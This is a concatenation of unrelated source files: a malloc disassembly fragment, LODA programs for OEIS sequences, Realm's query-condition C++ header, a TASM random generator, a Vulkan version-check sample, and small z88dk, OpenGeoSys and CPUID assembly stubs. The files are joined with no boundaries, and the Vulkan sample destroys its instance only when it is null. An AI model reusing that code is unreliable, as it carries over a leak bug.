movl $0x0,0xb08 7e0: 00 00 00 7e3: e9 44 ff ff ff jmp 72c <malloc+0x2c> 7e8: 90 nop 7e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 7f0: 8b 08 mov (%eax),%ecx 7f2: 89 0a mov %ecx,(%edx) 7f4: eb b1 jmp 7a7 <malloc+0xa7>
; A093545: Sorted mapping of A093544 onto the integers. ; 0,2,1,5,7,3,10,12,4,15,17,6,20,22,8,25,27,9,30,32,11,35,37,13,40,42,14,45,47,16,50,52,18,55,57,19,60,62,21,65,67,23,70,72,24,75,77,26,80,82,28,85,87,29,90,92,31,95,97,33,100,102,34,105,107,36,110,112,38 add $0,1 mul $0,5 mov $2,-15 mov $3,18 sub $3,$0 div $0,3 sub $0,1 lpb $0 gcd $2,$3 div $0,$2 mov $2,1 lpe mov $1,$0
/************************************************************************* * * Copyright 2016 Realm Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * **************************************************************************/ #ifndef REALM_QUERY_CONDITIONS_HPP #define REALM_QUERY_CONDITIONS_HPP #include <cstdint> #include <string> #include <realm/unicode.hpp> #include <realm/binary_data.hpp> #include <realm/query_value.hpp> #include <realm/mixed.hpp> #include <realm/utilities.hpp> namespace realm { enum Action { act_ReturnFirst, act_Sum, act_Max, act_Min, act_Count, act_FindAll, act_CallbackIdx, act_Average }; class ClusterKeyArray; class QueryStateBase { public: size_t m_match_count; size_t m_limit; int64_t m_minmax_key; // used only for min/max, to save index of current min/max value uint64_t m_key_offset; const ClusterKeyArray* m_key_values; QueryStateBase(size_t limit) : m_match_count(0) , m_limit(limit) , m_minmax_key(-1) , m_key_offset(0) , m_key_values(nullptr) { } virtual ~QueryStateBase() { } // Called when we have a match. // The return value indicates if the query should continue. virtual bool match(size_t, Mixed) noexcept = 0; virtual bool match_pattern(size_t, uint64_t) { return false; } protected: private: virtual void dyncast(); }; template <class> class QueryStateMin; template <class> class QueryStateMax; class QueryStateCount : public QueryStateBase { public: QueryStateCount(size_t limit = -1) : QueryStateBase(limit) { } bool match(size_t, Mixed) noexcept final { ++m_match_count; return (m_limit > m_match_count); } size_t get_count() const noexcept { return m_match_count; } }; namespace aggregate_operations { template <typename T> static bool is_nan(T value) { if constexpr (std::is_floating_point_v<T>) { return std::isnan(value); } else { // gcc considers the argument unused if it's only used in one branch of if constexpr static_cast<void>(value); return false; } } template <> inline bool is_nan<Decimal128>(Decimal128 value) { return value.is_nan(); } } // namespace aggregate_operations // Array::VTable only uses the first 4 conditions (enums) in an array of function pointers enum { cond_Equal, cond_NotEqual, cond_Greater, cond_Less, cond_VTABLE_FINDER_COUNT, cond_None, cond_LeftNotNull }; // Quick hack to make "Queries with Integer null columns" able to compile in Visual Studio 2015 which doesn't full // support sfinae // (real cause hasn't been investigated yet, cannot exclude that we don't obey c++11 standard) struct HackClass { template <class A, class B, class C> bool can_match(A, B, C) { REALM_ASSERT(false); return false; } template <class A, class B, class C> bool will_match(A, B, C) { REALM_ASSERT(false); return false; } }; // Does v2 contain v1? struct Contains : public HackClass { bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v2.contains(v1); } bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { return v2.contains(v1); } bool operator()(BinaryData v1, BinaryData v2, bool = false, bool = false) const { return v2.contains(v1); } bool operator()(StringData v1, const std::array<uint8_t, 256> &charmap, StringData v2) const { return v2.contains(v1, charmap); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (m1.is_null()) return !m2.is_null(); if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "CONTAINS"; } static const int condition = -1; }; // Does v2 contain something like v1 (wildcard matching)? struct Like : public HackClass { bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v2.like(v1); } bool operator()(BinaryData b1, const char*, const char*, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return s2.like(s1); } bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { return v2.like(v1); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return s2.like(s1); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (m1.is_null() && m2.is_null()) return true; if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "LIKE"; } static const int condition = -1; }; // Does v2 begin with v1? struct BeginsWith : public HackClass { bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v2.begins_with(v1); } bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { return v2.begins_with(v1); } bool operator()(BinaryData v1, BinaryData v2, bool = false, bool = false) const { return v2.begins_with(v1); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return b2.begins_with(b1); } return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } static std::string description() { return "BEGINSWITH"; } static const int condition = -1; }; // Does v2 end with v1? struct EndsWith : public HackClass { bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v2.ends_with(v1); } bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { return v2.ends_with(v1); } bool operator()(BinaryData v1, BinaryData v2, bool = false, bool = false) const { return v2.ends_with(v1); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } static std::string description() { return "ENDSWITH"; } static const int condition = -1; }; struct Equal { static const int avx = 0x00; // _CMP_EQ_OQ // bool operator()(const bool v1, const bool v2, bool v1null = false, bool v2null = false) const { return v1 == // v2; } bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v1 == v2; } bool operator()(BinaryData v1, BinaryData v2, bool = false, bool = false) const { return v1 == v2; } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return (m1.is_null() && m2.is_null()) || (Mixed::types_are_comparable(m1, m2) && (m1 == m2)); } template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { return (v1null && v2null) || (!v1null && !v2null && v1 == v2); } static const int condition = cond_Equal; bool can_match(int64_t v, int64_t lbound, int64_t ubound) { return (v >= lbound && v <= ubound); } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { return (v == 0 && ubound == 0 && lbound == 0); } static std::string description() { return "=="; } }; struct NotEqual { static const int avx = 0x0B; // _CMP_FALSE_OQ bool operator()(StringData v1, const char*, const char*, StringData v2, bool = false, bool = false) const { return v1 != v2; } // bool operator()(BinaryData v1, BinaryData v2, bool = false, bool = false) const { return v1 != v2; } template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { if (!v1null && !v2null) return v1 != v2; if (v1null && v2null) return false; return true; } bool operator()(const QueryValue& m1, const Mixed& m2) const { return !Equal()(m1, m2); } static const int condition = cond_NotEqual; bool can_match(int64_t v, int64_t lbound, int64_t ubound) { return !(v == 0 && ubound == 0 && lbound == 0); } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { return (v > ubound || v < lbound); } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const = delete; static std::string description() { return "!="; } }; // Does v2 contain v1? struct ContainsIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; if (v1.size() == 0 && !v2.is_null()) return true; return search_case_fold(v2, v1_upper, v1_lower, v1.size()) != v2.size(); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; if (v1.size() == 0 && !v2.is_null()) return true; std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return search_case_fold(v2, v1_upper.c_str(), v1_lower.c_str(), v1.size()) != v2.size(); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return this->operator()(s1, s2, false, false); } // Case insensitive Boyer-Moore version bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, const std::array<uint8_t, 256> &charmap, StringData v2) const { if (v2.is_null() && !v1.is_null()) return false; if (v1.size() == 0 && !v2.is_null()) return true; return contains_ins(v2, v1_upper, v1_lower, v1.size(), charmap); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (m1.is_null()) return !m2.is_null(); if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "CONTAINS[c]"; } static const int condition = -1; }; // Does v2 contain something like v1 (wildcard matching)? struct LikeIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v2.is_null() || v1.is_null()) { return (v2.is_null() && v1.is_null()); } return string_like_ins(v2, v1_lower, v1_upper); } bool operator()(BinaryData b1, const char* b1_upper, const char* b1_lower, BinaryData b2, bool = false, bool = false) const { if (b2.is_null() || b1.is_null()) { return (b2.is_null() && b1.is_null()); } StringData s2(b2.data(), b2.size()); return string_like_ins(s2, b1_lower, b1_upper); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v2.is_null() || v1.is_null()) { return (v2.is_null() && v1.is_null()); } std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return string_like_ins(v2, v1_lower, v1_upper); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { if (b2.is_null() || b1.is_null()) { return (b2.is_null() && b1.is_null()); } StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); std::string s1_upper = case_map(s1, true, IgnoreErrors); std::string s1_lower = case_map(s1, false, IgnoreErrors); return string_like_ins(s2, s1_lower, s1_upper); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (m1.is_null() && m2.is_null()) return true; if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "LIKE[c]"; } static const int condition = -1; }; // Does v2 begin with v1? struct BeginsWithIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; return v1.size() <= v2.size() && equal_case_fold(v2.prefix(v1.size()), v1_upper, v1_lower); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; if (v1.size() > v2.size()) return false; std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return equal_case_fold(v2.prefix(v1.size()), v1_upper.c_str(), v1_lower.c_str()); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return this->operator()(s1, s2, false, false); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "BEGINSWITH[c]"; } static const int condition = -1; }; // Does v2 end with v1? struct EndsWithIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; return v1.size() <= v2.size() && equal_case_fold(v2.suffix(v1.size()), v1_upper, v1_lower); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v2.is_null() && !v1.is_null()) return false; if (v1.size() > v2.size()) return false; std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return equal_case_fold(v2.suffix(v1.size()), v1_upper.c_str(), v1_lower.c_str()); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return this->operator()(s1, s2, false, false); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { if (Mixed::types_are_comparable(m1, m2)) { BinaryData b1 = m1.get_binary(); BinaryData b2 = m2.get_binary(); return operator()(b1, b2, false, false); } return false; } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "ENDSWITH[c]"; } static const int condition = -1; }; struct EqualIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v1.is_null() != v2.is_null()) return false; return v1.size() == v2.size() && equal_case_fold(v2, v1_upper, v1_lower); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v1.is_null() != v2.is_null()) return false; if (v1.size() != v2.size()) return false; std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return equal_case_fold(v2, v1_upper.c_str(), v1_lower.c_str()); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return this->operator()(s1, s2, false, false); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return (m1.is_null() && m2.is_null()) || (Mixed::types_are_comparable(m1, m2) && operator()(m1.get_binary(), m2.get_binary(), false, false)); } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool operator()(int64_t, int64_t, bool, bool) const { REALM_ASSERT(false); return false; } static std::string description() { return "==[c]"; } static const int condition = -1; }; struct NotEqualIns : public HackClass { bool operator()(StringData v1, const char* v1_upper, const char* v1_lower, StringData v2, bool = false, bool = false) const { if (v1.is_null() != v2.is_null()) return true; return v1.size() != v2.size() || !equal_case_fold(v2, v1_upper, v1_lower); } // Slow version, used if caller hasn't stored an upper and lower case version bool operator()(StringData v1, StringData v2, bool = false, bool = false) const { if (v1.is_null() != v2.is_null()) return true; if (v1.size() != v2.size()) return true; std::string v1_upper = case_map(v1, true, IgnoreErrors); std::string v1_lower = case_map(v1, false, IgnoreErrors); return !equal_case_fold(v2, v1_upper.c_str(), v1_lower.c_str()); } bool operator()(BinaryData b1, BinaryData b2, bool = false, bool = false) const { StringData s1(b1.data(), b1.size()); StringData s2(b2.data(), b2.size()); return this->operator()(s1, s2, false, false); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return !EqualIns()(m1, m2); } template <class A, class B> bool operator()(A, B) const { REALM_ASSERT(false); return false; } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } static std::string description() { return "!=[c]"; } static const int condition = -1; }; struct Greater { static const int avx = 0x1E; // _CMP_GT_OQ template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { if (v1null || v2null) return false; return v1 > v2; } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return Mixed::types_are_comparable(m1, m2) && (m1 > m2); } static const int condition = cond_Greater; template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool can_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); return ubound > v; } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(ubound); return lbound > v; } static std::string description() { return ">"; } }; struct None { template <class T> bool operator()(const T&, const T&, bool = false, bool = false) const { return true; } static const int condition = cond_None; template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool can_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); static_cast<void>(ubound); static_cast<void>(v); return true; } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); static_cast<void>(ubound); static_cast<void>(v); return true; } static std::string description() { return "none"; } }; struct NotNull { template <class T> bool operator()(const T&, const T&, bool v = false, bool = false) const { return !v; } static const int condition = cond_LeftNotNull; template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } bool can_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); static_cast<void>(ubound); static_cast<void>(v); return true; } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); static_cast<void>(ubound); static_cast<void>(v); return true; } static std::string description() { return "!= NULL"; } }; struct Less { static const int avx = 0x11; // _CMP_LT_OQ template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { if (v1null || v2null) return false; return v1 < v2; } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return Mixed::types_are_comparable(m1, m2) && (m1 < m2); } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } static const int condition = cond_Less; bool can_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(ubound); return lbound < v; } bool will_match(int64_t v, int64_t lbound, int64_t ubound) { static_cast<void>(lbound); return ubound < v; } static std::string description() { return "<"; } }; struct LessEqual : public HackClass { static const int avx = 0x12; // _CMP_LE_OQ template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { if (v1null && v2null) return true; return (!v1null && !v2null && v1 <= v2); } bool operator()(const util::Optional<bool>& v1, const util::Optional<bool>& v2, bool v1null, bool v2null) const { if (v1null && v2null) return false; return (!v1null && !v2null && v1.value() <= v2.value()); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return (m1.is_null() && m2.is_null()) || (Mixed::types_are_comparable(m1, m2) && (m1 <= m2)); } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } static std::string description() { return "<="; } static const int condition = -1; }; struct GreaterEqual : public HackClass { static const int avx = 0x1D; // _CMP_GE_OQ template <class T> bool operator()(const T& v1, const T& v2, bool v1null = false, bool v2null = false) const { if (v1null && v2null) return true; return (!v1null && !v2null && v1 >= v2); } bool operator()(const util::Optional<bool>& v1, const util::Optional<bool>& v2, bool v1null, bool v2null) const { if (v1null && v2null) return false; return (!v1null && !v2null && v1.value() >= v2.value()); } bool operator()(const QueryValue& m1, const QueryValue& m2) const { return (m1.is_null() && m2.is_null()) || (Mixed::types_are_comparable(m1, m2) && (m1 >= m2)); } template <class A, class B, class C, class D> bool operator()(A, B, C, D) const { REALM_ASSERT(false); return false; } static std::string description() { return ">="; } static const int condition = -1; }; // CompareLess is a temporary hack to have a generalized way to compare any realm types. Todo, enable correct < // operator of StringData (currently gives circular header dependency with utf8.hpp) template <class T> struct CompareLess { static bool compare(T v1, T v2, bool = false, bool = false) { return v1 < v2; } }; template <> struct CompareLess<StringData> { static bool compare(StringData v1, StringData v2, bool = false, bool = false) { bool ret = utf8_compare(v1.data(), v2.data()); return ret; } }; } // namespace realm #endif // REALM_QUERY_CONDITIONS_HPP
; A262473: Number of (3+1) X (n+1) 0..1 arrays with each row divisible by 3 and each column divisible by 5, read as a binary number with top and left being the most significant bits. ; 4,9,36,121,484,1849,7396,29241,116964,466489,1865956,7458361,29833444,119311929,477247716,1908903481,7635613924,30542106169,122168424676,488672300601,1954689202404,7818751217209,31275004868836,125099997105721,500399988422884,2001599864213049,8006399456852196,32025597469494841,128102389877979364,512409558080261689,2049638232321046756,8198552923557563961,32794211694230255844,131176846754014531129,524707387016058124516,2098829547972606529081,8395318191890426116324,33581272767195200589369 add $0,2 mov $2,2 pow $2,$0 gcd $0,2 add $0,$2 pow $0,2 div $0,9
IDEAL MODEL large P386 CODESEG PUBLIC C randtau LABEL randtau WORD db 1024 dup(0) rptr dw 0 eino dd 22a53341h PUBLIC C arand PROC C arand ARG buu:word mov bx, [cs:rptr] mov eax, [cs:eino] add eax, 0a753cd3dh add bx, 2*4 and bx, 3ffh add eax, [dword cs:bx+randtau] add bx, 23*4 and bx, 3ffh add eax, [dword cs:bx+randtau] sub bx, 24*4 and bx, 3ffh mov [dword cs:bx+randtau], eax mov [cs:eino], eax mov [cs:rptr],bx ret ENDP PUBLIC C arsetkey PROC C arsetkey ARG ckey:dword push ds si di mov ax, cs mov ds, ax mov es, ax mov si, OFFSET randtau mov di, si cld lfs bx, [ckey] mov cx, 100h mov dl, [fs:bx] @@l1: lodsb xor al, dl stosb inc bx cmp [BYTE PTR fs:bx], 0d jnz @@l2 lfs bx, [ckey] @@l2: rol dl, 1d add dl, [fs:bx] loop @@l1 pop di si ds ret ENDP END
/* * Vulkan Samples * * Copyright (C) 2015-2017 Valve Corporation * Copyright (C) 2015-2017 LunarG, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* VULKAN_SAMPLE_SHORT_DESCRIPTION Determine if the current system can use Vulkan 1.1 API features */ #include <iostream> #include <cstdlib> #include <util_init.hpp> #define APP_SHORT_NAME "vulkan_1_1_sample" int sample_main(int argc, char *argv[]) { struct sample_info info = {}; init_global_layer_properties(info); // Android build not at 1.1 yet #ifndef ANDROID /* VULKAN_KEY_START */ // Keep track of the major/minor version we can actually use uint16_t using_major_version = 1; uint16_t using_minor_version = 0; std::string using_version_string = ""; // Set the desired version we want uint16_t desired_major_version = 1; uint16_t desired_minor_version = 1; uint32_t desired_version = VK_MAKE_VERSION(desired_major_version, desired_minor_version, 0); std::string desired_version_string = ""; desired_version_string += std::to_string(desired_major_version); desired_version_string += "."; desired_version_string += std::to_string(desired_minor_version); VkInstance instance = VK_NULL_HANDLE; std::vector<VkPhysicalDevice> physical_devices_desired; // Determine what API version is available uint32_t api_version; if (VK_SUCCESS == vkEnumerateInstanceVersion(&api_version)) { // Translate the version into major/minor for easier comparison uint32_t loader_major_version = VK_VERSION_MAJOR(api_version); uint32_t loader_minor_version = VK_VERSION_MINOR(api_version); std::cout << "Loader/Runtime support detected for Vulkan " << loader_major_version << "." << loader_minor_version << "\n"; // Check current version against what we want to run if (loader_major_version > desired_major_version || (loader_major_version == desired_major_version && loader_minor_version >= desired_minor_version)) { // Initialize the VkApplicationInfo structure with the version of the API we're intending to use VkApplicationInfo app_info = {}; app_info.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO; app_info.pNext = NULL; app_info.pApplicationName = APP_SHORT_NAME; app_info.applicationVersion = 1; app_info.pEngineName = APP_SHORT_NAME; app_info.engineVersion = 1; app_info.apiVersion = desired_version; // Initialize the VkInstanceCreateInfo structure VkInstanceCreateInfo inst_info = {}; inst_info.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO; inst_info.pNext = NULL; inst_info.flags = 0; inst_info.pApplicationInfo = &app_info; inst_info.enabledExtensionCount = 0; inst_info.ppEnabledExtensionNames = NULL; inst_info.enabledLayerCount = 0; inst_info.ppEnabledLayerNames = NULL; // Attempt to create the instance if (VK_SUCCESS != vkCreateInstance(&inst_info, NULL, &instance)) { std::cout << "Unknown error creating " << desired_version_string << " Instance\n"; exit(-1); } // Get the list of physical devices uint32_t phys_dev_count = 1; if (VK_SUCCESS != vkEnumeratePhysicalDevices(instance, &phys_dev_count, NULL) || phys_dev_count == 0) { std::cout << "Failed searching for Vulkan physical devices\n"; exit(-1); } std::vector<VkPhysicalDevice> physical_devices; physical_devices.resize(phys_dev_count); if (VK_SUCCESS != vkEnumeratePhysicalDevices(instance, &phys_dev_count, physical_devices.data()) || phys_dev_count == 0) { std::cout << "Failed enumerating Vulkan physical devices\n"; exit(-1); } // Go through the list of physical devices and select only those that are capable of running the API version we want. for (uint32_t dev = 0; dev < physical_devices.size(); ++dev) { VkPhysicalDeviceProperties physical_device_props = {}; vkGetPhysicalDeviceProperties(physical_devices[dev], &physical_device_props); if (physical_device_props.apiVersion >= desired_version) { physical_devices_desired.push_back(physical_devices[dev]); } } // If we have something in the desired version physical device list, we're good if (physical_devices_desired.size() > 0) { using_major_version = desired_major_version; using_minor_version = desired_minor_version; } } } using_version_string += std::to_string(using_major_version); using_version_string += "."; using_version_string += std::to_string(using_minor_version); if (using_minor_version < desired_minor_version) { std::cout << "Determined that this system can only use Vulkan API version " << using_version_string << " instead of desired version " << desired_version_string << std::endl; } else { std::cout << "Determined that this system can run desired Vulkan API version " << desired_version_string << std::endl; } // Destroy the instance if it was created if (VK_NULL_HANDLE == instance) { vkDestroyInstance(instance, NULL); } #endif /* VULKAN_KEY_END */ return 0; }
SECTION code_fp_math48 PUBLIC ___fs2slong_callee EXTERN cm48_sdccixp_ds2slong_callee defc ___fs2slong_callee = cm48_sdccixp_ds2slong_callee
/** * \file * \copyright * Copyright (c) 2012-2021, OpenGeoSys Community (http://www.opengeosys.org) * Distributed under a Modified BSD License. * See accompanying file LICENSE.txt or * http://www.opengeosys.org/project/license * */ #include "MeshLib/IO/XDMF/partition.h" namespace MeshLib::IO { bool isFileManager() { return true; } PartitionInfo getPartitionInfo(std::size_t const size, unsigned int) { // local_offset, local_length, longest_local_length, global_number_process return {0, size, size, size}; } } // namespace MeshLib::IO
;;----------------------------------------------------------------------------- ;; Author : habe (NujiNuji/MikoMiko) ;; Mail : ---------------------- ;; Web : http://openlibsys.org/ ;; License : The modified BSD license ;; ;; Copyright 2006 habe. All rights reserved. ;; Copyright 2009 OpenLibSys.org. All rights reserved. ;;----------------------------------------------------------------------------- ;; CPUID.ASM - by NujiNuji (MikoMiko) ;; $Id$ .code ;; typedef unsigned int uint32; ;; typedef unsigned __int64 uint64; ;; assert(sizeof(uint32)*8 == 32); ;; assert(sizeof(uint64)*8 == 64); ;; void __fastcall CPUIDx64(DWORD index, DWORD *pEAX, DWORD *pEBX, DWORD *pECX, DWORD *pEDX); _CPUIDx64 PROC PUSH RBP MOV RBP, RSP ;; RSP+30H [edx] ;; RSP+28H [ROOM FOR ecx] ;; RSP+20H [ROOM FOR ebx] ;; RSP+18H [ROOM FOR eax] ;; RSP+14H [PADDING FOR index] ;; RSP+10H [ROOM FOR index] ;; RSP+08H [RETURN-ADDRESS] ;; RSP+00H [RBP] ;; RBP == RSP MOV DWORD PTR [RBP+10H], ECX MOV DWORD PTR [RBP+14H], 0 MOV QWORD PTR [RBP+18H], RDX MOV QWORD PTR [RBP+20H], R8 MOV QWORD PTR [RBP+28H], R9 ;; RCX, RDX are volatile PUSH RBX PUSH RDI MOV EAX, DWORD PTR [RBP+10H] MOV RCX, 0 CPUID ;; EDI = pEAX; MOV RDI, QWORD PTR [RBP+18H] ;; *EDI = EAX; MOV DWORD PTR [RDI], EAX ;; *pEBX = EBX; MOV RDI, QWORD PTR [RBP+20H] MOV DWORD PTR [RDI], EBX ;; *pECX = ECX; MOV RDI, QWORD PTR [RBP+28H] MOV DWORD PTR [RDI], ECX ;; *pEDX = EDX MOV RDI, QWORD PTR [RBP+30H] MOV DWORD PTR [RDI], EDX POP RDI POP RBX XOR RAX, RAX POP RBP RET _CPUIDx64 ENDP PUBLIC _CPUIDx64 END ;; THE END OF FILE
